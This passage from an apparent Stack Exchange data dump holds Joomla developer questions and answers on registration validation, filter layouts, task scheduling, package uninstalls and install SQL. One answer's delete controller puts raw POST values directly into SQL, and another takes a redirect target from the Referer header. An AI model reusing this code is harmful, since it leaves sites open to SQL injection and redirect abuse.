BY-SA 4.0" />
  <row Id="32183" PostTypeId="1" AcceptedAnswerId="32184" CreationDate="2022-05-28T13:29:57.203" Score="1" ViewCount="166" Body="&lt;h2&gt;The problem&lt;/h2&gt;&#xA;&lt;p&gt;I have had a problem with a spammer registering fake users to send spam around.&lt;/p&gt;&#xA;&lt;p&gt;The method used is to set the user name to something like &amp;quot;Yesterday I published this awesome video &lt;a href=&quot;http://something.wow/spammer/video&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://something.wow/spammer/video&lt;/a&gt; which you should come and see!&amp;quot; and the mail address to the spammer's target.  One new registration every 5 minutes.&lt;/p&gt;&#xA;&lt;h2&gt;Attempted solutions&lt;/h2&gt;&#xA;&lt;p&gt;First, I tried to enable captcha. No way. Then invisible captcha. Again, no way. Don't ask me why, I have no idea, but the spamming did not stop.&lt;/p&gt;&#xA;&lt;p&gt;Last, I tried to put a length limit on the username (10 characters would do). After reading the official info on &lt;a href=&quot;https://docs.joomla.org/J3.x:Server-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;server-side form validation&lt;/a&gt; I found that it is not perfectly in sync with the code, so I tried to read the code and I ended up with adding a &lt;code&gt;maxlength=&amp;quot;10&amp;quot;&lt;/code&gt; attribute to the username field in the &lt;code&gt;registration.xml&lt;/code&gt; file.  No way.  When filling out the form, the browser in fact stops you from adding the eleventh character, but spamming continued.  I suppose the spammer used a lower-level method to post the form, so the max length was not enforced.&lt;/p&gt;&#xA;&lt;h2&gt;Questions&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why captcha does not work?&lt;/li&gt;&#xA;&lt;li&gt;Why the maxlength attribute does not force server-side validation?&lt;/li&gt;&#xA;&lt;li&gt;Why obvious checks like max user name lenght and sane characters are not the default in Joomla 3.9?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to add validation yourself and, do you have a working example?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16369" LastEditorUserId="16369" LastEditDate="2022-05-30T13:29:27.060" LastActivityDate="2022-05-30T13:29:27.060" Title="How to validate a user name in Joomla registration forms so that it is not used for spamming?" Tags="|joomla-3.x|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32184" PostTypeId="2" ParentId="32183" CreationDate="2022-05-28T13:29:57.203" Score="0" Body="&lt;p&gt;I do not have an answer to 1.&lt;/p&gt;&#xA;&lt;p&gt;As far as 2 and 3 are regarded, I suppose that the Joomla developers assume that these issues are not very important and anyway they are easily solved.&lt;/p&gt;&#xA;&lt;p&gt;I have a real answer to 4.  Here is my solution:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_users&#xA; *&#xA; * @copyright   2022 Francesco Potortì&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;use Joomla\Registry\Registry;&#xA;class JFormRuleUserNamePot extends JFormRule&#xA;{&#xA;    /**&#xA;     * Test for sane usernames.&#xA;     *&#xA;     * Tested under Joomla 3.9&#xA;     * To use this rule, the form XML (for example components/com_users/models/forms/registration.xml)&#xA;     * needs this:&#xA;     * &amp;lt;fieldset name=&amp;quot;form_name&amp;quot; addrulepath=&amp;quot;components/com_users/models/rules&amp;quot;&amp;gt; &amp;lt;/fieldset&amp;gt;&#xA;     *&#xA;     * and the input (text) field needs this:&#xA;     * validate=&amp;quot;usernamepot&amp;quot; (basename of this file, under components/com_users/models/rules/)&#xA;     * maxlength=10 (recommended, but any number &amp;gt; 0 will do)&#xA;     * pcrepattern=&amp;quot;/^[0-9a-zA-Z]+$/&amp;quot; (recommended, any PCRE will do)&#xA;     * validatemessage=&amp;quot;User name can only contain letters and numbers&amp;quot; (recommended)&#xA;     *&#xA;     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `&amp;lt;field&amp;gt;` tag for the form field object.&#xA;     * @param   mixed             $value    The form field value to validate.&#xA;     * @param   string            $group    The field name group control value. This acts as an array container for the field.&#xA;     *                                      For example if the field has name=&amp;quot;foo&amp;quot; and the group value is set to &amp;quot;bar&amp;quot; then the&#xA;     *                                      full field name would end up being &amp;quot;bar[foo]&amp;quot;.&#xA;     * @param   Registry          $input    An optional Registry object with the entire data set to validate against the entire form.&#xA;     * @param   JForm             $form     The form object for which the field is being tested.&#xA;     *&#xA;     * @return  boolean  True if the value is valid, false otherwise.&#xA;     *&#xA;     * @since   3.9&#xA;     */&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null)&#xA;    {&#xA;        $maxlen = (int) $element-&amp;gt;attributes()-&amp;gt;maxlength;&#xA;        $pattern = $element-&amp;gt;attributes()-&amp;gt;pcrepattern;&#xA;        $errormessage = $element-&amp;gt;attributes()-&amp;gt;validatemessage;&#xA;&#xA;        // throw new InvalidArgumentException(sprintf('maxlen=%d, pattern=%s, message=%s', $maxlen, $pattern, $element-&amp;gt;attributes()-&amp;gt;message));&#xA;        &#xA;        if (strlen($value) &amp;lt;= $maxlen and preg_match($pattern, $value) === 1)&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        $element-&amp;gt;attributes()-&amp;gt;message = $errormessage;&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16369" LastEditorUserId="16369" LastEditDate="2022-05-28T22:06:03.743" LastActivityDate="2022-05-28T22:06:03.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32185" PostTypeId="2" ParentId="22049" CreationDate="2022-05-29T19:47:45.663" Score="0" Body="&lt;p&gt;This can actually be done easily by creating an override in your template-&amp;gt;html-&amp;gt;mod_login folder. In your override, add the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$refUrl = $_SERVER['HTTP_REFERER'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then changed the hidden field's &amp;quot;return&amp;quot; value at the bottom of your override to &lt;code&gt;$refUrl&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It works by catching the referring URL where the user came from to get to the login page, then returns them back to that page after successful logged in.&lt;/p&gt;&#xA;" OwnerUserId="16371" LastEditorUserId="12352" LastEditDate="2022-05-29T22:32:20.920" LastActivityDate="2022-05-29T22:32:20.920" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32186" PostTypeId="1" CreationDate="2022-05-29T23:09:39.693" Score="0" ViewCount="135" Body="&lt;p&gt;I'm trying to create a Joomla &lt;strong&gt;module for typical CSS cards&lt;/strong&gt;, but I want to make the &lt;strong&gt;number of cards dependent on a number input from the user&lt;/strong&gt;. For example the user wants 5 cards so in the parameter field &amp;quot;number of cards&amp;quot; he puts '5'.&lt;/p&gt;&#xA;&lt;p&gt;Now he has to choose the text and logo for each card he wants, but how &lt;strong&gt;can I 'spawn' parameter values during runtime?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I could just put a set number of cards in and define the corresponding parameters in the modules XML, but is there a way to do it like I want to?&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorUserId="12352" LastEditDate="2022-05-29T23:38:31.763" LastActivityDate="2024-02-23T06:03:00.343" Title="How do I create parameters in a Joomla module depending on another parameter / number?" Tags="|php|joomla-4.x|xml|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32187" PostTypeId="1" CreationDate="2022-05-30T13:18:29.140" Score="2" ViewCount="164" Body="&lt;p&gt;I built a Joomla plugin for a task and I scheduled that task to run every 5 minutes.  While monitoring the task it seems it is only running when I am logged into the administrator back end if the site.  Does anyone know how to make this run when not logged in?&lt;/p&gt;&#xA;" OwnerUserId="15798" LastActivityDate="2022-06-01T07:35:44.927" Title="Scheduled task only running when logged in0" Tags="|plugin|joomla-4.x|task|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32188" PostTypeId="1" AcceptedAnswerId="32191" CreationDate="2022-05-30T17:16:38.430" Score="1" ViewCount="468" Body="&lt;p&gt;In Joomla 4, there is the layout &lt;code&gt;joomla.searchtools.default&lt;/code&gt; for the filters in a list view that you can see everywhere in the BackEnd.&lt;/p&gt;&#xA;&lt;p&gt;In a list view of my custom component (FrontEnd), I managed to apply the layout &lt;em&gt;joomla.searchtools.default&lt;/em&gt; for the filters. All is working fine.&lt;/p&gt;&#xA;&lt;p&gt;Now I want to customize the layout. To avoid touching core files, I made a copy of the templates in the layout (&lt;code&gt;joomla.searchtools.default&lt;/code&gt;) to my custom component. All is working fine.&lt;/p&gt;&#xA;&lt;p&gt;Specifically, I want to get rid of the &amp;quot;filter options&amp;quot; button (which hides and shows the filters), but keep the useful &amp;quot;clear&amp;quot; button. This way, users will always see the filters.&lt;/p&gt;&#xA;&lt;p&gt;There is a template called &lt;code&gt;bar.php&lt;/code&gt; where you can see the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;filter-search-actions btn-group&amp;quot;&amp;gt;&#xA;    &amp;lt;?php if ($filterButton) : ?&amp;gt;&#xA;        &amp;lt;button type=&amp;quot;button&amp;quot; class=&amp;quot;filter-search-actions__button btn btn-primary js-stools-btn-filter&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo Text::_('JFILTER_OPTIONS'); ?&amp;gt;&#xA;            &amp;lt;span class=&amp;quot;icon-angle-down&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/button&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;button type=&amp;quot;button&amp;quot; class=&amp;quot;filter-search-actions__button btn btn-primary js-stools-btn-clear&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?&amp;gt;&#xA;    &amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the code snippet, you can see two buttons: &lt;code&gt;JFILTER_OPTIONS&lt;/code&gt; and &lt;code&gt;JSEARCH_FILTER_CLEAR&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is other template called &lt;code&gt;filters.php&lt;/code&gt; that really displays the filters:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($filters) : ?&amp;gt;&#xA;    &amp;lt;?php foreach ($filters as $fieldName =&amp;gt; $field) : ?&amp;gt;&#xA;        &amp;lt;?php if ($fieldName !== 'filter_search') : ?&amp;gt;&#xA;            &amp;lt;?php $dataShowOn = ''; ?&amp;gt;&#xA;            &amp;lt;?php if ($field-&amp;gt;showon) : ?&amp;gt;&#xA;                &amp;lt;?php $wa-&amp;gt;useScript('showon'); ?&amp;gt;&#xA;                &amp;lt;?php $dataShowOn = &amp;quot; data-showon='&amp;quot; . json_encode(FormHelper::parseShowOnConditions($field-&amp;gt;showon, $field-&amp;gt;formControl, $field-&amp;gt;group)) . &amp;quot;'&amp;quot;; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;js-stools-field-filter&amp;quot;&amp;lt;?php echo $dataShowOn; ?&amp;gt;&amp;gt;&#xA;                &amp;lt;span class=&amp;quot;visually-hidden&amp;quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How could I get rid of the &lt;code&gt;JFILTER_OPTIONS&lt;/code&gt; button (without losing the visibility of the filters) and maintain the functionality of the &lt;code&gt;JSEARCH_FILTER_CLEAR&lt;/code&gt; button?&lt;/p&gt;&#xA;&lt;p&gt;All is related with the  &lt;code&gt;js-stools-container-filters&lt;/code&gt; class in the divs' containers, I suppose, but I can't find more information.&lt;/p&gt;&#xA;&lt;p&gt;Code snippet in the &lt;code&gt;default_filter.php&lt;/code&gt; template (the &amp;quot;main&amp;quot; template):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load search tools&#xA;HTMLHelper::_('searchtools.form', $data['options']['formSelector'], $data['options']);&#xA;?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;js-stools&amp;quot; role=&amp;quot;search&amp;quot;&amp;gt;&#xA;    &amp;lt;?php if ($data['options']['showSelector']) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;js-stools-container-selector&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;sublayout('selector', $data); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;js-stools-container-bar&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;btn-toolbar&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;sublayout('bar', $data); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;sublayout('list', $data); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- Filters div --&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;js-stools-container-filters clearfix&amp;lt;?php echo $filtersActiveClass; ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;?php if ($data['options']['filterButton']) : ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;sublayout('filters', $data); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php if ($data['options']['showNoResults']) : ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;sublayout('noitems', $data); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14871" LastEditorUserId="12352" LastEditDate="2022-05-30T22:13:39.367" LastActivityDate="2022-05-31T15:00:54.343" Title="Customizing filters layout from joomla.searchtools.default for list view of custom component" Tags="|jquery|joomla-4.x|filter|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32189" PostTypeId="2" ParentId="32169" CreationDate="2022-05-30T21:32:24.307" Score="1" Body="&lt;p&gt;So in the absence of any other thoughts this is what I've got working, some compromises but it seems to work.&lt;/p&gt;&#xA;&lt;p&gt;pkgA includes comA and comC&#xA;pkgB includes comB and comC&lt;/p&gt;&#xA;&lt;p&gt;If both packages are installed then uninstalling pkgA would remove comC and leave comB not working, and vice versa.&lt;/p&gt;&#xA;&lt;p&gt;So in the package Uninstall routine I detect if the other package's main component (comB or comA) is also installed and abort the uninstall with a message to the admin to just uninstall the unwanted component (comA or comB) and leave the package uninstall until after the other package has been uninstalled.&lt;/p&gt;&#xA;&lt;p&gt;If the package uninstall doesn't detect the other package's main component is present then it can proceed.&lt;/p&gt;&#xA;&lt;p&gt;This may result in an orphan package being left installed, which is ok because it can then be uninstalled after the other package which will work okay and just report that one or more of its extensions have already been uninstalled.&lt;/p&gt;&#xA;&lt;p&gt;Because the admin may want to uninstall just comA (or comB) the packages cannot use blockChildUnistall, but this would open the door to uninstalling just comC and breaking the others.&lt;/p&gt;&#xA;&lt;p&gt;So the problem now is to prevent comC being uninstalled directly on its own. To handle this the packages uninstall() routines set a session variable to say that this is a valid package uninstall.&lt;/p&gt;&#xA;&lt;p&gt;comC's uninstall routine then tests this session variable and if it is set then it knows that the package has checked the other component is not present and it is okay to proceed. If the session variable is not set that implies that comC is being uninstalled on its own so it needs to check whether either comA or comB are installed and if they are then abort its uninstall.&lt;/p&gt;&#xA;&lt;p&gt;In J3 when uninstalling a package or component the preflight() and postflight() functions do not fire on uninstall - only the uninstall() function is run. The good news is that this happens before any files or data is touched so it is possible to abort the uninstall and leave everything intact.&lt;/p&gt;&#xA;&lt;p&gt;Rather than doing this by raising an error which results in a pretty un-useful error page by default, if aborting the install I redirect to the other component's control panel page with a message in the url string which is displayed as an enqueueMessage() on the page.&lt;/p&gt;&#xA;&lt;p&gt;When uninstalling a package the package uninstall() function runs first then each of the component's uninstall() functions in the order in which they appear in the package xml file.&lt;/p&gt;&#xA;&lt;p&gt;Here's the basic code for pkgA script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;    function uninstall($parent) {&#xA;        $db = Factory::getDBO();&#xA;        $db-&amp;gt;setQuery('SELECT enabled FROM #__extensions WHERE element = '.$db-&amp;gt;quote('com_comb'));&#xA;        $res = $db-&amp;gt;loadResult();       &#xA;        if ($res) {&#xA;            $message = 'comB is still installed. If you wish to uninstall comA then just uninstall the component for now.';&#xA;            //comA component could have been uninstalled manually so we'll redirect to comB dashboard as we know that exists&#xA;            $targ = Uri::base().'index.php?option=com_comB&amp;amp;view=dashboard&amp;amp;err='.urlencode($message);&#xA;            header(&amp;quot;Location: &amp;quot;.$targ);&#xA;            exit();&#xA;        }&#xA;    //no comB, ok to proceed&#xA;        $oldval = Factory::getSession()-&amp;gt;set('pkguninst', 'comA');&#xA;    //other stuff as required&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in comC script you need this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;    function uninstall($parent) {       &#xA;        $pkguninstall = Factory::getSession()-&amp;gt;get('pkguninst');&#xA;        if (!$pkguninstall) {&#xA;           // this is not a package uninstall so we need to check if xbfilms or xbbooks or xblive are still here&#xA;            $db = Factory::getDBO();&#xA;            $db-&amp;gt;setQuery('SELECT enabled FROM #__extensions WHERE element = '.$db-&amp;gt;quote('com_coma').' OR element = '.$db-&amp;gt;quote('com_comb'));&#xA;            $res = $db-&amp;gt;loadResult();&#xA;            if ($res) {&#xA;                $message = 'Either comA or comB is still installed. comC component must be uninstalled after both comA and comB.';&#xA;                $targ = Uri::base().'index.php?option=com_comc&amp;amp;view=dashboard&amp;amp;err='.urlencode($message);&#xA;                header(&amp;quot;Location: &amp;quot;.$targ);&#xA;                exit();&#xA;            }&#xA;        }&#xA;//so either this is a package uninstall so we know its ok or we've done the test above and both of comA and comB have already been uninstalled&#xA;        Factory::getSession()-&amp;gt;clear('pkguninst');&#xA;        //ok to proceed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and to display the message in the components dashboard view.html.php files you need this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function display($tpl = null) {&#xA;        //get uninstall error message&#xA;        $app = Factory::getApplication();&#xA;        $err = $app-&amp;gt;input-&amp;gt;getString('err','');&#xA;        if ($err!='') {&#xA;            $app-&amp;gt;enqueueMessage(urldecode($err),'Error');&#xA;        }&#xA;    //and the rest as normal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and that seems to work for me. Hope it might someone help else in future.&lt;/p&gt;&#xA;" OwnerUserId="16053" LastEditorUserId="16053" LastEditDate="2022-06-01T16:30:00.333" LastActivityDate="2022-06-01T16:30:00.333" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32190" PostTypeId="2" ParentId="15536" CreationDate="2022-05-31T12:55:29.387" Score="0" Body="&lt;h2&gt;controller file&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function deletcheck() {&#xA;    $delchsk=$_POST['delchsk'];&#xA;    foreach ($delchsk as $key =&amp;gt; $value) {&#xA;        $db = JFactory::getDbo();&#xA;        $db1 = JFactory::getDbo();&#xA;        $query1 = &amp;quot;Delete from `table1` where name = '$value'&amp;quot;;&#xA;        $query2 = &amp;quot;Delete from `table2` where symbol = '$value'&amp;quot;;&#xA;        $db-&amp;gt;setQuery($query1);&#xA;        $db1-&amp;gt;setQuery($query2);&#xA;        $db-&amp;gt;query(); &#xA;        $db1-&amp;gt;query(); &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;ajax code&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(function () {&#xA;    $(&amp;quot;#btnDel&amp;quot;).click(function(e) {&#xA;&#xA;        //$('#adminForm').on('reset', function (e) {&#xA;        e.preventDefault();&#xA;        var checkboxes = $(&amp;quot;input[name='delchk[]']:checked&amp;quot;);&#xA;        var val = [];&#xA;        checkboxes.each(function(i){&#xA;            val[i] = $(this).val();&#xA;        });&#xA;&#xA;        $.ajax({&#xA;            type: 'post',&#xA;            url: &amp;quot;index.php?option=com_eq_misc&amp;amp;task=Dashboard.deletcheck&amp;quot;,&#xA;            dataType: &amp;quot;html&amp;quot;,&#xA;            data: {&#xA;                delchsk: val&#xA;            },&#xA;            success: function (response) {&#xA;                alert('Deleted');&#xA;                location.reload();&#xA;                // $(&amp;quot;#formdata&amp;quot;).html(response).focus();   &#xA;            }&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;view file&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&amp;quot;button&amp;quot; id=&amp;quot;btnDel&amp;quot;  class=&amp;quot;btn btn-primary&amp;quot;&amp;gt; &amp;lt;i class=&amp;quot;fa fa-trash color-down&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;   Delete  &amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16378" LastEditorUserId="12352" LastEditDate="2022-06-01T02:20:06.970" LastActivityDate="2022-06-01T02:20:06.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32191" PostTypeId="2" ParentId="32188" CreationDate="2022-05-31T15:00:54.343" Score="0" Body="&lt;p&gt;Finally I did it (get rid of &lt;code&gt;JFILTER_OPTIONS&lt;/code&gt; button, maintaining &lt;code&gt;JSEARCH_FILTER_CLEAR&lt;/code&gt; button functionality) touching very little code:&lt;/p&gt;&#xA;&lt;p&gt;At main filter template file (I named it &lt;code&gt;default_filter.php&lt;/code&gt; in my component, it's the &lt;code&gt;default.php&lt;/code&gt; in the layout &lt;code&gt;joomla.searchtools.default&lt;/code&gt;) fixing the class &lt;code&gt;js-stools-container-filters-visible&lt;/code&gt; in the filter's div:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Filters div --&amp;gt;&#xA;&amp;lt;div class=&amp;quot;js-stools-container-filters clearfix js-stools-container-filters-visible&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the &lt;code&gt;bar.php&lt;/code&gt; sublayout, deleting the &lt;code&gt;JFILTER_OPTIONS&lt;/code&gt; button, and leaving alone the &lt;code&gt;JSEARCH_FILTER_CLEAR&lt;/code&gt; button:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;filter-search-actions btn-group&amp;quot;&amp;gt;&#xA;    &amp;lt;button type=&amp;quot;button&amp;quot; class=&amp;quot;filter-search-actions__button btn btn-primary js-stools-btn-clear&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?&amp;gt;&#xA;    &amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That's it !&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2022-05-31T15:00:54.343" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32192" PostTypeId="2" ParentId="32187" CreationDate="2022-06-01T07:35:44.927" Score="1" Body="&lt;p&gt;Like Irata suggested, you are probably using Joomla's lazy scheduler to trigger the tasks. Lazy means that it only works when your website is visited.&lt;/p&gt;&#xA;&lt;p&gt;You could &lt;strong&gt;create one cron job on your server&lt;/strong&gt; that visits your website every 5 minutes to trigger any scheduled tasks you have configured in your Joomla site.&lt;/p&gt;&#xA;&lt;p&gt;You can read more about the Task Scheduler in the Joomla Community Magazine edition of March 2022: &lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2022/get-to-know-the-new-joomla-task-scheduler&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/march-2022/get-to-know-the-new-joomla-task-scheduler&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-06-01T07:35:44.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32193" PostTypeId="1" CreationDate="2022-06-01T17:56:49.223" Score="2" ViewCount="99" Body="&lt;p&gt;I also need to know if the insert of the table #__content_types is correct and if there is something missing in the SQL installation code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SET time_zone = &amp;quot;+00:00&amp;quot;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `#__tabapapo` (&#xA;    `id` int unsigned NOT NULL AUTO_INCREMENT,&#xA;    `asset_id` int unsigned NOT NULL DEFAULT 0,&#xA;    `title` varchar(255) NOT NULL DEFAULT '',&#xA;    `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '',&#xA;    `description` VARCHAR(4000) NOT NULL DEFAULT '',&#xA;    `state` tinyint NOT NULL DEFAULT 0,&#xA;    `catid` int unsigned NOT NULL DEFAULT 0,&#xA;    `created` datetime NOT NULL,&#xA;    `created_by` int unsigned NOT NULL DEFAULT 0,&#xA;    `created_by_alias` varchar(255) NOT NULL DEFAULT '',&#xA;    `modified` datetime NOT NULL,&#xA;    `modified_by` int unsigned NOT NULL DEFAULT 0,&#xA;    `checked_out` int unsigned,&#xA;    `checked_out_time` datetime,&#xA;    `published` tinyint NOT NULL DEFAULT 0,&#xA;    `publish_up` datetime,&#xA;    `publish_down` datetime,&#xA;    `version` int unsigned NOT NULL DEFAULT 1,&#xA;    `metakey` text,&#xA;    `metadesc` text NOT NULL DEFAULT '',&#xA;    `access` int unsigned NOT NULL DEFAULT 0,&#xA;    `hits` int unsigned NOT NULL DEFAULT 0,&#xA;    `metadata` text NOT NULL DEFAULT '',&#xA;    `featured` tinyint unsigned NOT NULL DEFAULT 0 COMMENT 'Set if article is featured.',&#xA;    `language` varchar(7) NOT NULL,&#xA;    `params` text NOT NULL,&#xA;    PRIMARY KEY (`id`),&#xA;    KEY `idx_access` (`access`),&#xA;    KEY `idx_checkout` (`checked_out`),&#xA;    KEY `idx_state` (`published`),&#xA;    KEY `idx_catid` (`catid`),&#xA;    KEY `idx_createdby` (`created_by`),&#xA;    KEY `idx_featured_catid` (`featured`,`catid`),&#xA;    KEY `idx_language` (`language`)&#xA;)&#xA;    ENGINE=InnoDB &#xA;    DEFAULT CHARSET=utf8mb4 &#xA;    DEFAULT COLLATE=utf8mb4_unicode_ci;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `#__tabapapo_msg`(&#xA;    `id` INT(11) NOT NULL AUTO_INCREMENT,&#xA;    `reservado` tinyint(4) NOT NULL DEFAULT '0',&#xA;    `sala_id` INT(11) NOT NULL,&#xA;    `usu_id`  INT(11) NOT NULL,&#xA;    `params` VARCHAR(1024) NOT NULL DEFAULT '',&#xA;    `msg` TEXT NOT NULL,&#xA;    `falacom_id`  INT(11) NOT NULL,&#xA;    `tempo` DATETIME NOT NULL,&#xA;    PRIMARY KEY(`id`)&#xA;    )&#xA;    ENGINE=InnoDB&#xA;    DEFAULT CHARSET=utf8mb4 &#xA;    DEFAULT COLLATE=utf8mb4_unicode_ci;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `#__tabapapo_usu`(&#xA;    `id` INT(11) NOT NULL AUTO_INCREMENT,&#xA;    `sala_id` INT(11) NOT NULL,&#xA;    `usu_id` VARCHAR (40) NOT NULL,&#xA;    `status` VARCHAR (140) NULL,&#xA;    `params` VARCHAR(1024) NOT NULL DEFAULT '',&#xA;    `ip` VARCHAR (20) NOT NULL,&#xA;    `tempo` DATETIME NOT NULL,&#xA;    PRIMARY KEY(`id`)&#xA;    )&#xA;    ENGINE=InnoDB &#xA;    DEFAULT CHARSET=utf8mb4 &#xA;    DEFAULT COLLATE=utf8mb4_unicode_ci;&#xA;&#xA;INSERT INTO `#__content_types` (`type_title`, `type_alias`, `table`, `rules`, `field_mappings`, `router`, `content_history_options`) &#xA;VALUES&#xA;('Tabapapo', 'com_tabapapo.tabapapo',&#xA;'{&amp;quot;special&amp;quot;:{&amp;quot;dbtable&amp;quot;:&amp;quot;#__tabapapo&amp;quot;,&amp;quot;key&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;tabapapo&amp;quot;,&amp;quot;prefix&amp;quot;:&amp;quot;TabaPapoTable&amp;quot;}}', &#xA;'',&#xA;'',&#xA;'',&#xA;'{&amp;quot;formFile&amp;quot;:&amp;quot;administrator\\/components\\/com_tabapapo\\/models\\/forms\\/tabapapo.xml&amp;quot;, &#xA;&amp;quot;hideFields&amp;quot;:[&amp;quot;params&amp;quot;], 